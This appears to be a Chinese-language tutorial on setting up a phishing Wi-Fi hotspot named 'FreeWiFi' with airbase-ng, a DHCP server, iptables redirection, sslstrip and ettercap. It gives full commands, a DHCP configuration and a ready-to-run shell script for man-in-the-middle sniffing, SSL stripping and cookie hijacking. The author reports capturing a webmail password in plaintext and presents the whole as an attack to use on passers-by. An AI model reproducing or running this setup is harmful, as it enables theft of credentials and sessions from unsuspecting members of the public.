钓鱼WIFI搭建
1、无线网卡
2、KaliLinux操作系统，这里就不用说了，必备的
3、isc-dhcp-server服务器。安装好KaliLinux后只需要apt-get update 然后apt-get install isc-dhcp-server即可
4、Aircrack-ng套件 #用来发送数据
5、sslstrip 用来突破SSL加密
6、ettercap 用来嗅探劫持
后面三个软件KaliLinux都自带有，不用安装即可。
首先强调下，后面的bash脚本适用于使用isc-dhcp-server这个bash脚本，建立钓鱼热点。
安装dhcp服务
apt-get install isc-dhcp-server
配置文件分别在/etc/default/isc-dhcp-server和/etc/dhcp/dhcpd.conf，前者可以配置监听端口，这里以wlan0为例
配置dhcp文件后，断开wlan0的网络，分配一个ip
ifconfig wlan0 192.168.1.2/24
启动dhcp服务
/etc/init.d/isc-dhcp-server start 或者
service isc-dhcp-server start
建立热点：
将下文写好的airssl.sh添加执行权限
bash airssl.sh
然后分别是AP建立，DHCP建立，sslstrip开启，ettercap开启。
这里再介绍一种方法，是使用 airbase-ng + dhcpd 创建虚拟WiFi热点；顺便使用 sslstrip+ettercap 进行中间人攻击，嗅探使用者的上网信息和劫持cookie！
所需要的软件如下；kali-linux都已经自带了，其他的系统可以自行安装：
Aircrack-ng 套件 #用来发送数据
isc-dhcp-server #简单的dhcp服务器
sslstrip #突破ssl加密
ettercap #嗅探劫持
leaf /etc/dhcp/dhcpd.conf 编辑dhcp服务器配置文件，修改如下：
authoritative;
default-lease-time 700;
max-lease-time 8000;
subnet 10.0.0.0 netmask 255.255.255.0 {
option routers 10.0.0.1;
option subnet-mask 255.255.255.0;
option domain-name "FreeWiFi";
option domain-name-servers 10.0.0.1;
range 10.0.0.10 10.0.0.100;
}
然后激活网卡至监听模式：
airmon-ng start wlan0
airbase-ng -e FreeWiFi -c 6 mon0
此时虚拟wifi的信号已经发送出去了，如果出现错误：
Error: Got channel -1, expected a value > 0.
执行如下命令：
airmon-ng stop mon0
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
然后从激活网卡至监听模式那里重新开始。
接着执行如下命令：
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
/etc/init.d/isc-dhcp-server start
虚拟WiFir热点创建成功，接下来就是嗅探欺骗钓鱼了：
sslstrip -fpk 10000
ettercap -Tpuqi at0
然后就等着鱼儿上钩吧！
手机上测试了下，网易邮箱直接明文密码：
百度使用了加密：
写了一个脚本，修改成自己的设置每次执行就ok了：
复制下面代码，保存为 “Fake_a_ap.sh”，然后 chmod +x Fake_a_ap.sh && ./Fake_a_ap.sh
#!/bin/sh
echo "即将创建WiFi热点，请确保dhcpd.conf已经配置好！" &
sleep 5
ifconfig wlan0 down #wlan0修改成你的网卡
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airmon-ng start wlan0 &
sleep 5
airbase-ng -e FreeWiFi -c 6 mon0 & #修改成自己的热点名称和信道
sleep 5
ifconfig at0 up
ifconfig at0 10.0.0.1 netmask 255.255.255.0
ifconfig at0 mtu 1400
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1
iptables --flush && iptables --table nat --flush && iptables --table nat --flush && iptables --table nat --delete-chain &
echo 1 > /proc/sys/net/ipv4/ip_forward
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1
iptables -P FORWARD ACCEPT
iptables --append FORWARD --in-interface at0 -j ACCEPT
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0
sleep 2
/etc/init.d/isc-dhcp-server start &
sleep 5
sslstrip -fpk 10000 &
ettercap -puTqi at0
